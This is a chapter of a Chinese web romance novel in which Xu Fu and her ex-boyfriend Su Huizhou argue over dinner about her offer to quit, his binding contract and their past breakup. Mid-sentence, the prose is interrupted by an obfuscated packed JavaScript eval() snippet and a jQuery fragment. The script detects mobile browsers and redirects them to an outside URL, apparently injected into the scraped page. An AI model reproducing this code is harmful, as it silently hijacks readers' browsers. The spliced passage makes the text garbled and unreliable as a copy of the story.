15. 第 15 章
作品:《前男友他阴晴不定》 再难搞,那还能有苏回舟难搞吗?
徐复站在家门口踌躇不定,头都大了。
愁得慌。
她方才在沈书明面前也没纠结,直接将告诉苏回舟的活计揽了过来,换来沈书明连连感叹大义,甚至当场就要“义结金兰”。
大义什么啊,徐复的手压在门把手上,要是让沈书明再掺和进来……
老天,她不敢想。
自己作的孽自己偿还。
死嘴,让你说这么快。
徐复捂脸,幽幽叹气,最终还是按下了门把手。
“你回来了?”
苏回舟的声音难得轻快,桌上摆着几盘白瓷碟,色香味俱全。
徐复视线落在餐桌上,动作变得有些迟缓。
他们一起吃过无数次饭,在同一张餐桌上。
——只不过没有一次是苏回舟做的就是了。
“你会……做饭了。”
苏回舟心情大好,唇角止不住勾起,他掀开锅盖,胳膊上卷着衬衫,褶皱精心打理过一丝不苟的模样,给徐复盛上一碗饭。
“多少吃一点,不吃晚饭会胃痛。”
苏回舟将人轻轻按到餐桌前,又拉开椅子坐到对面,手肘撑在桌面上,两手交叠,指腹抵到唇边。
他翘首以盼坐等夸奖,因而没注意到徐复心不在蔫。
苏回舟原本想的是,他矜持两天,应该不算过分吧,只是方才徐复出门见陈素素的时候,他的心里边不知为何,一直不得安生。
徐复指尖捻着两根筷子,发出的稀碎哗啦声猝然落在她的耳边,搅动心弦。
徐复扒拉着碗里的饭,开口了。
她直视着苏回舟的眼睛,放轻声音,尽量让自己的话说出来显得没那么冷淡。
苏回舟听得真切。
又一次,徐复推开了自己。
“你刚亲了我就想跟我划清界限吗?”
苏回舟幽幽开口。
他的眼睛半耷拉着,刘海有些长了,为了年末的杂志拍摄好做造型,一直可以留着没剪。
如同鬼魅一般,黑黝黝的瞳孔,一线下三白搁浅在空中。
徐复从来不依赖他,什么事情都能自己解决,甚至还十分爽快地顺手将他的事情也给解决了。
凭什么?
他在她的眼里究竟算什么?
眼前的菜还浑然不觉散发着热腾腾的水汽,蒸得苏回舟双眼生疼,欲将流泪。
苏回舟掀起眼皮,目光残留着阴恻恻而又湿润的缱绻,带着诡异的哀怨,他也不吭声,早已攥上了徐复的手腕,死死不放,仿佛一松手对方就要跑了一样。
徐复试探性开口:“沈书明人不错的,不过你要是接受不了的话,我可以主动提离职,你不用为难。”
“我再跟在你身边工作……毕竟是不合适的。”
听了这话苏回舟骤然涌现了浑身的丧气,饱满的花瓣唇微微张开,整个人浓郁又毫无生机,宛若流动的一滩浓稠的墨汁。
“不,你就在我身边,至少这段时间。”苏回舟喉管里挤出嗬嗬的低鸣。
“你的合约还没到期,别想这么快就走。”
徐复怔然。
苏回舟突然仰头笑了,脖颈弯折出一道濒死的弧线,声音沉沉。
“你是不是觉得我挺没用的?沈书明都跟你说了什么?你什么都知道了吧,知道我远不如表面看起来风光,知道我蠢,知道放着你给我规划好的大好前途不要,年纪轻轻背上了什么狗屁合约!”
苏回舟气血上涌,什么都顾不上,话颠三倒四吐了出来。
徐复一直觉得他苏回舟听话得要命,什么脾气都没有,什么脏话都说不出口的。
偏不是。
紧接着苏回舟用了力气,攥住徐复手腕的臂膀向自己的方向一扯,两人面对面,逐渐逼近。
“徐复你应该向我闹啊,你应该向我说,说苏回舟你不能去,说你不能因为事业丢下我……你为什么不冲我闹?”
为什么不依赖他?
为什么徐复从来不依赖他?
这不应该。
“明明下午的时候,是你说还喜欢我的,明明是你问我还愿不愿意的。”
徐复有些呆愣,他不明白苏回舟在意的……竟然是这个?
可是她闹有什么用呢?最优解不就是分开吗?
再痛也只能这样啊,这个世界上痛苦的事情太多了,如果无病呻吟也叫做痛的话,那么这个世界上早就有太多痛死的人。
徐复从来不这种事情。
只是为什么苏回舟还是不开心?
原来他们还是错频吗?
“这不是……情况有变吗?”
在苏回舟近距离的质问下,徐复竟然有些难得的踟蹰,撇开了视线。
这有什么的。
她相信他们之间的感情,难道苏回舟不相信吗?
徐复依旧是这样,这样理性强大,即使现在并不算高位,脊梁也依旧挺直。
苏回舟似乎是再也遭受不住,他松开手,飞速站起身,转过身去。
“所以这一次你又替我决定好了是吗”
徐复不理解:“可是你也会这么选择的啊?我理解你,支持你的事业,这样不好吗?”
好,太好了。
苏回舟咬牙。
好到徐复根本不在乎自己一样,至少是以情侣的身份。
苏回舟不甘:“我能拒绝吗,从始至终你给过我拒绝的权利吗?”
徐复笃定:“你不会拒绝的。”
因为徐复说的永远都是对的,正确的,中立的,永远是对苏回舟好的。
苏回舟无力极了。
徐复说得对,这个世界上远远有比谈情说爱更重要的事情。
有人生下来拥有一切,而他和徐复,现在所拥有的所有一切,都是在世界上辛苦这么多年,用无数过载眼泪和超负荷的心跳赚来的,容不得一点差池。
只是苏回舟愤懑不甘的是,徐复为什么不能表现出哪怕一点点舍不得,甚至是委屈的神色。
苏回舟从小就明白,全世界都在抛弃他,他赌博的爸,时而清醒时而糊涂的妈,对自己避之不及的老师和同学……没有任何一个人会向他走来。
除了徐复。
现在就连徐复都一再将他推开,苏回舟不想落了下风。
他一开始明明什么都不想要的,怎么样都要在徐复身边。
……怎么就变了呢?
许是因为活着便已经是一件需要极其忍耐的事情,他们两个人相互扶持着长大,虽然从来没有说破过,但一直流动着无言的默契——他们自小知道生活的不易,不断并肩挨着生活的锤打,却还是同心同力走了这么些年。
可是苏回舟此刻甚至有些恨了的,一种热得发昏,却又无处安放的愤怒。
恨什么呢?恨得不是一个具体的人,而是这么多年,面对生活他们依旧无能为力。
所有的婉转的羞于开口的爱欲都淬炼成了最利害的毒,衍变成如鲠在喉的怨恨,不断反噬自身。
无法接受,却又无力改变。
可是人怀着全然的恨意究竟能生活多久?
徐复有错吗?
没有。
可是他苏回舟又做错了什么?
人不能既要又要的,是他一开始就选错了吗?所以一步错步步错。
明明一开始他所拥有所期盼的,不过是全然想要靠近徐复的心罢了。
苏回舟又开始想了,想当年,如果他听了徐复的话,如果他没有压着一股劲,甚至说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176655|196706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果,如果徐复没有选择瞒着他。
纵使他们依旧会经历一段难熬的异国时光,纵使他依旧会在学业和为母亲治病的高昂治疗费上转圜,但会不会……情况变得有那么一点点的不一样。
事情好像又变得重蹈覆辙起来,苏回舟又回到23岁那年,徐复要送他的锦绣前程,送他远离身边。
而他们那时候尚且还太年轻,无法预估最妥善处理的方式。
同样的命题,再次以不同的形式,横亘在他们面前。
徐复依旧没变,苏回舟狠狠咬了咬后槽牙,细碎的刘海滑过耸立的高挺鼻梁,落在皮肤上泛起一阵难耐的痒意。
可是他没有变,徐复也依旧没有变,分开的这些年他们都自以为是成长了,其实根本没有。
兜兜转转,又回到了一开始的地方。
落到此刻的境地几乎是要求命运垂怜,可苏回舟从来不信命运,他有的是别的法子。
苏回舟依旧不知道该怎么妥善地去做,在这方面他没有任何成长——一个人的底色是无法被轻易改变的,完全鲜血淋漓的现实,他依旧不愿意坦白,可是唯一能够成为变数的是——
他不会再离开徐复身边,也不会再让她离开半步。
不能这样对他,苏回舟想,天知道他几个小时前有多么欣喜。
返老还童,回到过去,全是都虚妄,在嘲讽着苏回舟的无知和天真。
徐复还在说,语重心长,从苏回舟的背后传来,似乎是被稀薄的空气稀释得有些朦胧了。
“苏回舟,为什么呢?你到底在想什么呢你说啊……你知道的,不论什么时候,只要你需要我,我总归是在的,我们这么多年的感情做不得假,你不明白吗?”
这话无异于往苏回舟心上扎针。
他当然明白,这么多年最明白的就是他了,不明白的反而另有其人。
苏回舟真想说,那我结婚你也要在吗?
他不无恶劣地想。
但不会的,苏回舟绝不允许他们两个人之间有任何别人插足的痕迹。
他会疯的。
当徐复在他的面前久违掉下眼泪的时刻,苏回舟还以为一切变了——被重视的滋味吗?
其实根本没有。
一个人的底色是从来不会轻易改变的,苏回舟现在毫不怀疑,如果真有那一天,徐复是否会乐呵呵应下,着手给他备好最好的礼物,然后说——“如果是为你好的话,一切都没关系的,我永远支持你。”
——即使过后会再为此难过。
不肯开口说话的究竟是谁呢?
如果是沈书明在这儿的话又要说了,爱与不爱哪有这么复杂。可是他们两个就是如此,苏回舟一定要计较,分出一个高下。
徐复自认为自己已经剖析开了全然的真心,苏回舟还想要什么的话,她就是真的猜不透了。
徐复起身,手心搭在苏回舟的胳膊上,而后将人拨弄了过来。
待看清出眼前人的模样之后,徐复彻底懵了。
苏回舟哭了。
“我们的合同期约还没到。”苏回舟一再重复。
苏回舟一直在哭,悄然无声。
哭什么呢?
霎时间,徐复有些难以呼吸,不自觉露出被刺痛到的表情。
是我珍惜你的方式错了吗?徐复有一瞬间的动摇。
我想要把所有我认为好的东西全都捧在你面前,但是这些东西怎么反而令你难过了呢?
但是徐复摇了摇头,很快否定了自己的想法。
人生于世,有太多太多的东西远远比情爱重要,光明前途,契约精神,苏回舟的路已经清晰明了,容不得半分的夭折。
明明是一件值得高兴的事情不是吗?
怎么两个人都这么沉重呢?

